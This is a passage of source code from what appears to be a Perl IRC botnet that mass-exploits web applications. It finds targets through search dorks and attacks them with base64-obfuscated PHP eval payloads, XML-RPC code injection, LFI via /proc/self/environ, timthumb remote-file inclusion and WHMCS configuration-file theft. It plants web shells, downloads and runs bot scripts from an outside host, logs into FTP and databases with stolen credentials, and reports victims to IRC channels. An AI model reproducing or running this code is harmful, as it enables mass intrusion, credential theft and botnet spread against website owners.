  925. my $code = "ZWNobyAidjBwQ3Izdzxicj4iOwplY2hvICJzeXM6Ii5waHBfdW5hbWUoKS4iPGJyPiI7CiRjbWQ9ImVjaG8gbm9iMGR5Q3IzdztjZCAvdG1wO3JtIC1yZiBkb3IuKiAqLnR4dC4qO2ZldGNoIGh0dHA6Ly9rZGxnLm9yZy9jYWNoZS8uc2V0L2VjLnR4dDtwZXJsIGVjLnR4dDtybSAtcmYgZWMudHh0O3dnZXQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0O3JtIC1yZiBlYy50eHQ7Y3VybCAtTyBodHRwOi8va2RsZy5vcmcvY2FjaGUvLnNldC9lYy50eHQ7cGVybCBlYy50eHQ7cm0gLXJmIGVjLnR4dDtsd3AtZG93bmxvYWQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0O2NkIC92YXIvdG1wO3JtIC1yZiBkb3IuKiAqLmpwZy4qO2ZldGNoIGh0dHA6Ly9rZGxnLm9yZy9jYWNoZS8uc2V0L2VjLnR4dDtwZXJsIGVjLnR4dDtybSAtcmYgZWMudHh0O3dnZXQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0O3JtIC1yZiBlYy50eHQ7Y3VybCAtTyBodHRwOi8va2RsZy5vcmcvY2FjaGUvLnNldC9lYy50eHQ7cGVybCBlYy50eHQ7cm0gLXJmIGVjLnR4dDtsd3AtZG93bmxvYWQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0OyI7CiRlc2VndWljbWQ9ZXgoJGNtZCk7ZWNobyAkZXNlZ3VpY21kOwpmdW5jdGlvbiBleCgkY2ZlKXsKJHJlcyA9ICcnOwppZiAoIWVtcHR5KCRjZmUpKXsKaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpewpAZXhlYygkY2ZlLCRyZXMpOwokcmVzID0gam9pbigiXG4iLCRyZXMpOwp9CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7CiRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSl7CkBvYl9zdGFydCgpOwpAc3lzdGVtKCRjZmUpOwokcmVzID0gQG9iX2dldF9jb250ZW50cygpOwpAb2JfZW5kX2NsZWFuKCk7Cn0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7CkBvYl9zdGFydCgpOwpAcGFzc3RocnUoJGNmZSk7CiRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CkBvYl9lbmRfY2xlYW4oKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKXsKJGYgPSBAcG9wZW4oJGNmZSwiciIpOwp3aGlsZSghQGZlb2YoJGNmZSkpIHsgJHJlcyAuPSBAZnJlYWQoJGNmZSwxMDI0KTsgfQpAcGNsb3NlKCRmKTsKfX0KcmV0dXJuICRyZXM7Cn0=";
  926. my $req = HTTP::Request->new(POST => $url);
  927. $req->content_type('application/x-www-form-urlencoded');
  928. $req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  929. my $ua = LWP::UserAgent->new(agent => $uagent);
  930. $ua->timeout(7);
  931. my $res = $ua->request($req);
  932. }
  933.  
  934. sub ih_exploit() {
  935. my $chan = $_[0];
  936. my $bug = $_[1];
  937. my $simpan = $_[2];
  938. my $dork = $_[3];
  939. my $engine = $_[4];
  940. my $count = 0;
  941. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ihlogo);
  942. my $num = scalar(@totexploit);
  943. if ($num > 0){
  944. foreach my $site(@totexploit){
  945. $count++;
  946. if ($count == $num-1) { &msg("$chan","$ihlogo15$engine 9Finished 15for 9$dork "); }
  947. my $ihxxx = "JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZPT2trRGhwcFRBaFVhQWZsbXZhK0FJcmN4SHE5SkdseE8yZDdpUDkrY0R2cHk3TExaTkpKVDFwMG5uUmVIbzhuWnorVXMyVjdXRVNsbU9DSjBsRjN2MzI4dlZLbEZES1J0QlJGTXo3MTk0MlJXcEMvdzVTaTJtSWxaQlRIdmY3MXJUY21uOG1EYXQ5aC8vUzB2ZFZ0Y1lycFIwZGNveER0QTZrMXAzQnJOSVRCMzlIZ0ZsOE9oemZKY2o4ZTRudmpjL3p6aG5zUS9UV0s0bTR5R3ZRY1lDeXlCU0F3eVFoTkVENVN3S0NwVTJyY2hEWjhlV0NLV1hXeG4wU0FmbkdjSlVhbzBqUEdwQkFaOVpiMUw0RjY5TlJGTkswazB3c0lINTllVWNsSS96eUNBUDJMQzN6OERDcmtpcjZDdWdhUVdscHlWbklJR1hSUDZmR0NrNEw2eTQ0ODk1MmNucDhQUUthNmRQcWdoWVFnM3lNTm9xditNRTBqRllUbFBoNExOYWFLeU44T1AwR05KVlZTZ1dvUnRpcmhYWHhXRk12UkoyWWtoS09aMXVWRXA5UG9CSW8xcmR6eDNnMktxWHlrcG9pNmd6dU93TnF6OGdvSjVxWkJlYXQrWk9UMUNhK0ViWUZyLzk0cXhDWitNemEvVk1OYkw4MEZwM054ek1Rb1JNbVVycytBRjU4TmJUZkQ1S0wzZEdkOWJSVnNhUTR5cWpSUTRRcG8zajhiWFZMWHczSFE3dys5K3dCcTV1VWU0M1plQWRROEswbVVPUTFneE0yRVZlb2thZmxwa1F2WWFRMzh3UEU1YmRQNEhMbnhBVU02RXdocU5kTTVQUm54UDdpWVpyU0hiMXM3aW5RMHo3c2Q1KzJPcGYwejNkUzBpWUNMcHRnL05Qd0ZwU0tIUnZ2NTBINEFhNEtEY3U0QWFqdmpKYmtGeHFTQ1VBK3hqd04xTlFFRDZLT3QwV0lIdVAzV0hDTWdRRE1WeTA4YnFVdkFJMUZMcGdnd21xNmMwNitkNjNLOUtaODVVVldJemJFbWxUM1M5bk9ZVnNWR0Rlc01sV1pWaHN5TXBmUE0zYlhVbU54UnRxcERkaWxZb1h6ajMvVTZuaDFWNjlveHZweGw2M2Z2SFJpSHBMcVNIQmxZQU9EbWhKL1c3R25hZVB1M1JkemQvWjhjZ1A1K2tqcVJrY3dEeVhHQkNyTlhRT2ticzFzUnNScUVHSis4THVpWktBckNzMVBBTHVOeXBaRmVsRFRFbW43UkdCbU5VSndXR2Q3MHh0VzRZQ3UvaTRQUkk4a3IrL3NCOEIxRzJZbHF2RXdwaFFPeUlZb3ExNnlFbDQ3RjdYSlJrNmJ5cGgzVHpYKzBNQ3BtVGpKbndXVjMyK2dZOUl0aGN5ekxLSytyU0s3MkRjQUUrTFhiektiNWlldWNoeTdhcTBoYzA3bHlINkgxSXRiaUd6VWQrK0RYT2crblp2T0FSSm9UcFU5YU5naXV5TnFIeDIycHJYaHJVTjYxRlhnVXUvVWN1VXl5bFhKeHpIbjdaV2dIYVUyMmpvWkdsd09rSit1d1dObDU0ZmpXZUNUeDdnRjBUbWtPQy9GVkV4ZWRjNGtCK04razZLSlpIQTAyNzdLYXdLYXBpL2tob1ZtM1lZODBSZ0ZpVnBxWnZmQ00zRTlURy82NFYwYjQ5d2QyTUFWZmg0UGxhR2VPOERGdHRyZnRoY2oxMERjcXd4MnhrdFhPSXJOaUxtQTFLeW1oWDVqU0N0NHNDNlYyNGEyVjJ5MGxYZCtDYzAySXBNUmFpb2tNRTZmQ2cvMzlhbFdLdVd4dGRQRXVsR0tTdDByMFFjTmZqOWwyWmJocFBwejhDdz09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignLi9sb2JleC5waHAnLCd3Jyk7CmZ3cml0ZSgkZmljaGllciwgJGMpOwpmY2xvc2UoJGZpY2hpZXIpOw==";
  948. my $ihcek = "JHM9cGhwX3VuYW1lKCk7CmVjaG8gJzxicj4nLiRzOwoKZWNobyAnPGJyPic7CnBhc3N0aHJ1KGlkKTsK";
  949. my $vuln = "http://".$site.$bug."?action=log-reset&type=ih_options();eval(base64_decode(".$ihxxx."));error";
  950. my $cekih = "http://".$site.$bug."?action=log-reset&type=ih_options();eval(base64_decode(".$ihcek."));error";
  951. my $shell = "http://".$site."wp-content/plugins/is-human/lobex.php";
  952. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  953. my $coba = &get_content($cekih);sleep(1);
  954. if ($coba =~ /Array<br>(.*?)<br>(.*?)gid=/){ my $uname = $1; my $uid = $2; &get_content($vuln);sleep(1);
  955. &msg("$chan","$ihlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  956. my $res = &get_content($shell);sleep(1);
  957. if ($res =~ /UnKnown - Simple Shell/){
  958. &msg("$chan","$ihlogo15$engine 9<4=9>9 SheLL 9<4=9>9 $shell ");
  959. } else { &msg("$chan","$ihlogo15$engine 9<4=9>9 Vuln 9<4=9>9 $site 9<4=9> Os=$uname $uid");
  960. }
  961. }
  962. } exit;
  963. }
  964. }
  965. }
  966. }
  967. sub rfi_exploit() {
  968. my $chan = $_[0];
  969. my $bug = $_[1];
  970. my $simpan = $_[2];
  971. my $dork = $_[3];
  972. my $engine = $_[4];
  973. my $count = 0;
  974. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rfilogo);
  975. my $num = scalar(@totexploit);
  976. if ($num > 0){
  977. foreach my $site(@totexploit){
  978. $count++;
  979. if ($count == $num-1) { &msg("$chan","$rfilogo15$engine 9Finished 15for 9$dork "); }
  980. my $coba = "http://".$site.$bug."test??";
  981. my $test = "http://".$site.$bug.$injector."??";
  982. my $dor = "http://".$site.$bug.$botshell."??";
  983. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  984. my $cek = &get_content($coba);sleep(1);
  985. &get_content($dor);sleep(1);
  986. if ($cek =~ /failed to open stream/) {
  987. my $check = &get_content($test);sleep(1);
  988. if ($check =~ /STUNSHELL/i) {
  989. &os2($test,$chan,$engine,$rfilogo);
  990. }
  991. }
  992. } exit;
  993. }
  994. }
  995. }
  996. }
  997.  
  998. sub lfi_exploit() {
  999. my $chan = $_[0];
  1000. my $bug = $_[1];
  1001. my $simpan = $_[2];
  1002. my $dork = $_[3];
  1003. my $engine = $_[4];
  1004. my $count = 0;
  1005. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$lfilogo);
  1006. my $num = scalar(@totexploit);
  1007. if ($num > 0){
  1008. foreach my $site(@totexploit){
  1009. $count++;
  1010. if ($count == $num-1) { &msg("$chan","$lfilogo15$engine 9Finished 15for 9$dork "); }
  1011. my $dir = "../../../../../../../../../../../../../../../../../../../../../../../../";
  1012. my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000";
  1013. my $shell = "http://".$site.$bug.$dir."/tmp/lobex%0000";
  1014. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1015. my $html = &get_content($test);
  1016. if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {
  1017. my $res = lfi_env_query($test);
  1018. # &lfi_spread_query($test);
  1019. if ($res =~ /c0li#(.*?)#c0li(.*?)SUCCESS/) {
  1020. my $os = $1;
  1021. my $uid = $2;
  1022. my $lficheck = &get_content($shell);
  1023. if ($lficheck =~ /UnKnown - Simple Shell/){
  1024. &msg("$chan","$lfilogo15$engine 9<4=9>9 SheLL 9<4=9>9 $shell 15(OS=$os) $uid ");
  1025. } else {
  1026. &msg("$chan","$lfilogo15$engine 9<4=9>9 Vuln 9<4=9>9 $site 15(OS=$os) $uid ");
  1027. }
  1028. }
  1029. }
  1030. } exit; }
  1031. }
  1032. }
  1033. }
  1034. sub lfi_env_query() {
  1035. my $url = $_[0];
  1036. my $code = 'JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWxkUXVOVEZIMHVFdjl1bUZPeW93V0hla2lKVDV4ZEZsbUpUUWlOazc0QXNoeDdrc3h2ajYyWk1ka1U4ZDk3NzR3ZGtuS2h0TnE4eExuMzNLOHpkSzdUL1VQT3krMHR4WlRpaFlpVWpxVnAyMVRiVzFuS1QxT1NsWVhVWE16Y2ZUVHlLV1JxdUVWWnU2MG9ETUt3UDdpOGFTYng1L2pPdVhxM2YydlkzbmZkWnNWb1JVZFBFNS9zVUVONHdTYndpQUhEdjRMaE5UMGZqYTZpODA0NG9yZm81dUx6aG5zWS9Ea093a1EwSHZZdFlFV2tXRURRT0kzSk1oWXpBaEVzMGVSVFlIZU1wd2hHOFpUbCt5a0Q2RlF1YXpTRExoMDBVMnlSTW5UVi93cllKZzh0eFpKWFpiMkU5T0h4VEJCZERFRURWVEE0TzZOVWo4QlBwdGdycUZnQW1kSlpsbG42UTJSZUtEMU1pamgwN25jaXgzNVV4NmVuVUtDcG5wbmQ2VTlQa3BlQ2hzSEZZQlNzQmVVeHoxdzZLZFNFcVV2K2JmQmtoaFl2S1dXNldLaHVpZTdTODB2eGpIekNJNGtGbVhoZEhtazZEVUxBU3pQS2plaGZrWkRKZTRaYTFCUGNDQUxXdnFHM2tHQmgrcVNtNjNSVVhwL3dFMFRQRU8vZUdZYjQxSHB4ODFzd3VtbVNyQkFNSllPS1JGSWxFN2F1QVNjOEdmYXZVOUZNLzQvZzh2Z2lZNHdPUmFZMEovNFQ2bWRqTXI0SUxsVFJZekFZT2JjZTdTektQUzZTckFJb1BpdWVseG56UU9Lb0VNa3N4YmJlTHJFSjIybUE3eWlmd3pmSjU5REtCMERKdkNDMHE3bk9TMklzZmhmRlQ1QTlFcHJlVmpoMFROYnRTeTlCUk1PbkJWd3d4Zjl6L2tJa0tUSTRyUjhQektmWG5mU290NnJwMFdGMEFqWjJnbHRnakNvNGVaKzYxSU1SSXpBQUw5b1kzYlpVMjJLdE1ZWUFHS0xpcVdJeTVWaHJoQXlyRWg0bHN5Zm43SGpuYlZ0aXFvZUhCd1VwSG5SSG1hTjVZcWFaU1NMUnNNWlZ1WUJ2QkxXVkxFVjd4eEkwVENXMktsOTJLY3RQdWVqZmFEcU9FYUprN2FBdmNNSzQybnZ2MFNHWnJxUWdkZkVBM0p6c3c1cmRxTHkyZjZ2RXpjMS9xUUhvbDR2VWhaQXlCeWlUT2Nsa2hRRFRTcmhHVm5rNDhDbnR2VUhvVnBIbnNWVWJBcnRjbEpVbWJVd3luM2YyVWthQ0hQczB5VWE2NlEyclZzNmYvRFlQSmZka1NabmZhb0R2WUhROTUzV3pSZ1lIY1VYa1NLWnNDUzhiZzl0WWNCMDNuVGZqNERUL01zSzR6SW80SlhROGNIT01EcUtmV2pQbmRzcFIzYTJ5dldJQXBoQmZ1MFNiK0pQV05ROTV0a3E3dUhFTEUzMVYxcHRMeTQ5NTJ1ajN2OVJvQkZ2Z0F5VldGaXZsNjJzandEWk0rK2hScjdpMUEyTFF1N1pOa2JGNHh3WTN5N1V5RVNuSExWOCszWUdkbHVtamlhbmJnYUFINHpETEdMZGlhKzAwbERpM2dETWdvOE84dUhTUnpjN1NDQUh1TjFCblhsTTJERGJ1cWh2UGxLbWIrUzZwWTAyN1ZCcEl3TnVScGJnWEhvbGR4SEhESDBsV0FuOTdpQWFUOTJnNlMxNkhwNFFla1ZSbTI1NlJYSXUrYmhudWlLR3NhZWFwYkhEVmVLMlVlVjFPUHpjSzJqY2ZTOVlLYW56RXZyREV4Vmx6cTB3UmFEQ1dycjl2eWY5VjZuR0s3SEt4ODAvaUQ3MS9BQT09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignL3RtcC9sb2JleCcsJ3cnKTsKZndyaXRlKCRmaWNoaWVyLCAkYyk7CmZjbG9zZSgkZmljaGllcik7';
  1037. my $ua = LWP::UserAgent->new(agent => "<?echo 'c0li#'.php_uname().'#c0li'.get_current_user();eval(base64_decode('".$code."'));echo 'SUCCESS';?>");
  1038. $ua->timeout(7);
  1039. my $req = HTTP::Request->new(GET => $url);
  1040. my $res = $ua->request($req);
  1041. return $res->content;
  1042. }
  1043.  
  1044. sub xml_exploit() {
  1045. my $chan = $_[0];
  1046. my $bug = $_[1];
  1047. my $simpan = $_[2];
  1048. my $dork = $_[3];
  1049. my $engine = $_[4];
  1050. my $count = 0;
  1051. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$xmllogo);
  1052. my $num = scalar(@totexploit);
  1053. if ($num > 0){
  1054. foreach my $site(@totexploit){
  1055. $count++;
  1056. if ($count == $num-1) { &msg("$chan","$xmllogo15$engine 9Finished 15for 9$dork "); }
  1057. my $test = "http://".$site.$bug;
  1058. my $vuln = "http://".$site."12".$bug;
  1059. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1060. my $html = &get_content($test);
  1061. if ($html =~ /faultcode/i ) {
  1062. my $resp = &xml_cek_query2($test);
  1063. if ($resp =~ /Byroe(.*)Lobex/s) {
  1064. # &xml_spread_query($test);sleep(1);
  1065. my $sys = $1;
  1066. my $shell = "http://".$site."/lobex.php";
  1067. my $check = &get_content($shell);
  1068. if ($check =~ /UnKnown - Simple Shell/) {
  1069. my $safe = ""; my $os = ""; my $uid = "";
  1070. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1071. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1072. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1073. &msg("$chan","$xmllogo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1074. &msg("$admin","$xmllogo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1075. }
  1076. # else {
  1077. # &msg("$chan","0,1$xmllogo(4@8$engine15)15(13@12SysTem15)10 ".$vuln." 3".$sys); sleep(1);}
  1078. }
  1079. }
  1080. } exit;
  1081. }
  1082. }
  1083. }
  1084. }
  1085.  
  1086. sub xml_cek_query() {
  1087. my $url = $_[0];
  1088. my $code = "system('uname -a');";
  1089. my $ua = LWP::UserAgent->new(agent => 'perl post');
  1090. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1091. $exploit .= "<methodName>test.method</methodName>";
  1092. $exploit .= "<params><param><value><name>',''));";
  1093. $exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
  1094. $ua->timeout(7);
  1095. my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
  1096. return $res->content;
  1097. }
  1098.  
  1099. sub xml_cek_query2() {
  1100. my $url = $_[0];
  1101. my $string = "JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZPT2trRGhwcFRBaFVhQWZsbXZhK0FJcmN4SHE5SkdseE8yZDdpUDkrY0R2cHk3TExaTkpKVDFwMG5uUmVIbzhuWnorVXMyVjdXRVNsbU9DSjBsRjN2MzI4dlZLbEZES1J0QlJGTXo3MTk0MlJXcEMvdzVTaTJtSWxaQlRIdmY3MXJUY21uOG1EYXQ5aC8vUzB2ZFZ0Y1lycFIwZGNveER0QTZrMXAzQnJOSVRCMzlIZ0ZsOE9oemZKY2o4ZTRudmpjL3p6aG5zUS9UV0s0bTR5R3ZRY1lDeXlCU0F3eVFoTkVENVN3S0NwVTJyY2hEWjhlV0NLV1hXeG4wU0FmbkdjSlVhbzBqUEdwQkFaOVpiMUw0RjY5TlJGTkswazB3c0lINTllVWNsSS96eUNBUDJMQzN6OERDcmtpcjZDdWdhUVdscHlWbklJR1hSUDZmR0NrNEw2eTQ0ODk1MmNucDhQUUthNmRQcWdoWVFnM3lNTm9xditNRTBqRllUbFBoNExOYWFLeU44T1AwR05KVlZTZ1dvUnRpcmhYWHhXRk12UkoyWWtoS09aMXVWRXA5UG9CSW8xcmR6eDNnMktxWHlrcG9pNmd6dU93TnF6OGdvSjVxWkJlYXQrWk9UMUNhK0ViWUZyLzk0cXhDWitNemEvVk1OYkw4MEZwM054ek1Rb1JNbVVycytBRjU4TmJUZkQ1S0wzZEdkOWJSVnNhUTR5cWpSUTRRcG8zajhiWFZMWHczSFE3dys5K3dCcTV1VWU0M1plQWRROEswbVVPUTFneE0yRVZlb2thZmxwa1F2WWFRMzh3UEU1YmRQNEhMbnhBVU02RXdocU5kTTVQUm54UDdpWVpyU0hiMXM3aW5RMHo3c2Q1KzJPcGYwejNkUzBpWUNMcHRnL05Qd0ZwU0tIUnZ2NTBINEFhNEtEY3U0QWFqdmpKYmtGeHFTQ1VBK3hqd04xTlFFRDZLT3QwV0lIdVAzV0hDTWdRRE1WeTA4YnFVdkFJMUZMcGdnd21xNmMwNitkNjNLOUtaODVVVldJemJFbWxUM1M5bk9ZVnNWR0Rlc01sV1pWaHN5TXBmUE0zYlhVbU54UnRxcERkaWxZb1h6ajMvVTZuaDFWNjlveHZweGw2M2Z2SFJpSHBMcVNIQmxZQU9EbWhKL1c3R25hZVB1M1JkemQvWjhjZ1A1K2tqcVJrY3dEeVhHQkNyTlhRT2ticzFzUnNScUVHSis4THVpWktBckNzMVBBTHVOeXBaRmVsRFRFbW43UkdCbU5VSndXR2Q3MHh0VzRZQ3UvaTRQUkk4a3IrL3NCOEIxRzJZbHF2RXdwaFFPeUlZb3ExNnlFbDQ3RjdYSlJrNmJ5cGgzVHpYKzBNQ3BtVGpKbndXVjMyK2dZOUl0aGN5ekxLSytyU0s3MkRjQUUrTFhiektiNWlldWNoeTdhcTBoYzA3bHlINkgxSXRiaUd6VWQrK0RYT2crblp2T0FSSm9UcFU5YU5naXV5TnFIeDIycHJYaHJVTjYxRlhnVXUvVWN1VXl5bFhKeHpIbjdaV2dIYVUyMmpvWkdsd09rSit1d1dObDU0ZmpXZUNUeDdnRjBUbWtPQy9GVkV4ZWRjNGtCK04razZLSlpIQTAyNzdLYXdLYXBpL2tob1ZtM1lZODBSZ0ZpVnBxWnZmQ00zRTlURy82NFYwYjQ5d2QyTUFWZmg0UGxhR2VPOERGdHRyZnRoY2oxMERjcXd4MnhrdFhPSXJOaUxtQTFLeW1oWDVqU0N0NHNDNlYyNGEyVjJ5MGxYZCtDYzAySXBNUmFpb2tNRTZmQ2cvMzlhbFdLdVd4dGRQRXVsR0tTdDByMFFjTmZqOWwyWmJocFBwejhDdz09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignLi9sb2JleC5waHAnLCd3Jyk7CmZ3cml0ZSgkZmljaGllciwgJGMpOwpmY2xvc2UoJGZpY2hpZXIpOw==";
  1102. my $ua = LWP::UserAgent->new(agent => 'perl post');
  1103. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1104. $exploit .= "<methodName>test.method</methodName>";
  1105. $exploit .= "<params><param><value><name>',''));";
  1106. $exploit .= "echo 'Byroe';echo(php_uname());eval(base64_decode('$string'));echo 'Lobex';exit;/*</name></value></param></params></methodCall>";
  1107. $ua->timeout(7);
  1108. my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
  1109. return $res->content;
  1110. }
  1111.  
  1112. sub xml_spread_query() {
  1113. my $xmltargt = $_[0];
  1114. my $xmlsprd = "system('wget ".$injector." -O lobex.php;fetch ".$injector.";mv bad.txt lobex.php;wget ".$botshell." -O tmp.php;fetch ".$botshell.";mv bot.txt tmp.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;');";
  1115. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  1116. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1117. $exploit .= "<methodName>test.method</methodName>";
  1118. $exploit .= "<params><param><value><name>',''));";
  1119. $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>";
  1120. $userAgent->timeout(7);
  1121. my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
  1122. }
  1123.  
  1124. sub thumb_exploit() {
  1125. my $chan = $_[0];
  1126. my $bug = $_[1];
  1127. my $simpan = $_[2];
  1128. my $dork = $_[3];
  1129. my $engine = $_[4];
  1130. my $count = 0;
  1131. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
  1132. my $num = scalar(@totexploit);
  1133. if ($num > 0){
  1134. foreach my $site(@totexploit){
  1135. $count++;
  1136. my $vuln = "http://".$site.$bug."?src=".$thumbshell;
  1137. my $botis = "http://".$site.$bug."?src=".$botid;
  1138. my $botxc = "http://".$site.$bug."?src=".$botxid;
  1139. if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
  1140. my @nbug = split(/\//,$bug);
  1141. my $cek = &get_content($vuln);sleep(1);
  1142. if ($cek =~ /Unable to open image(.*?)$nbug[0](.*?)$md5php/i){
  1143. &msg("$chan","$thumblogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1144. my $pdir = $2;
  1145. if ($spreadMode == 1) { &get_content($botis); &get_content($botxc);sleep(1); }
  1146. my $crut = "http://".$site.$nbug[0].$pdir.$md5php;
  1147. my $botc = "http://".$site.$nbug[0].$pdir.$md5bot;
  1148. my $botpc = "http://".$site.$nbug[0].$pdir.$md5botx;
  1149. my $npath = "http://".$site."/wp-includes/wp-script.php";
  1150. my $check = &get_content($crut."?clone");sleep(1);
  1151. if ($check =~ /GIF89a/i){
  1152. my $safe = ""; my $os = ""; my $uid = "";
  1153. if ($check =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}
  1154. if ($check =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  1155. if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1156. my $crot = &get_content($npath);sleep(1);
  1157. if ($crot =~ /GIF89a/i){
  1158. &msg("$admin","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$npath."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1159. &msg("$chan","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$npath."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1160. } else {
  1161. &msg("$admin","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$crut."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1162. &msg("$chan","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$crut."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1163. }
  1164. &get_content($botc);sleep(1);
  1165. &get_content($botpc);sleep(1);
  1166. }
  1167. }
  1168. } exit; }
  1169. if ($count == $num-1) { &msg("$chan","$thumblogo15$engine 9Finished 15for 9$dork "); }
  1170. }
  1171. }
  1172. }
  1173.  
  1174. sub whmcs_exploit() {
  1175. my $chan = $_[0];
  1176. my $bug = $_[1];
  1177. my $simpan = $_[2];
  1178. my $dork = $_[3];
  1179. my $engine = $_[4];
  1180. my $count = 0;
  1181. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$whmcslogo);
  1182. my $num = scalar(@totexploit);
  1183. if ($num > 0){
  1184. foreach my $site(@totexploit){
  1185. $count++;
  1186. if ($count == $num-1) { &msg("$chan","$whmcslogo15$engine 9Finished 15for 9$dork "); }
  1187. my $test1 = "http://".$site.$bug."../../../configuration.php%00";
  1188. my $submit = "http://".$site.$subticket;
  1189. if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
  1190. my $html = &get_content($test1);
  1191. if ($html =~ /db_host/i) {
  1192. my $userpass = &getUserPass($html); sleep(2);
  1193. my $info = &getinfo($html); sleep(2);
  1194. &msg("$chaninfo","$whmcslogo15$engine 4<9=4>9 info 15[ 9http://".$site."15 ] 9$info");
  1195. my $lulz = "http://".$site;
  1196. my $user = ""; my $pass = ""; my $user2 = ""; my $pass2 = ""; my $dtbs2 = "";
  1197. if($lulz =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  1198. my $host = $2;
  1199. my @ftpu = split(":Viva-Byroe.Net:", $userpass);
  1200. my @dbic = split(":Viva-Byroe.Net:", $info);
  1201. $user = $ftpu[0]; $pass = $ftpu[1];
  1202. $user2 = $dbic[0]; $pass2 = $dbic[1]; $dtbs2 = $dbic[2];
  1203. my $ftpstat = "";
  1204. if($user =~ /_/) { @userz = split("_", $user); $user = $userz[0];}
  1205. &ftp_connect($test1,$host,$user,$pass,$chan,$engine,$whmcslogo);sleep(1);
  1206. &dbi_connect($host,$user2,$pass2,$dtbs2,$chan,$engine,$whmcslogo);sleep(1);
  1207. }
  1208. my $ceksubmit = &get_content($submit);
  1209. if ($ceksubmit =~ /Urgency/i) {
  1210. &msg("$submitchan","$whmcslogo15$engine 4<9=4>9 Submit Ticket 15[9 ".$submit." 15]"); sleep(2);
  1211. my $uploader = "http://".$site."/downloads/indexx.php";
  1212. my $uploader2 = "http://".$site."/templates_c/indexx.php";
  1213. my $cekup = &get_content($uploader);
  1214. my $cekup2 = &get_content($uploader2);
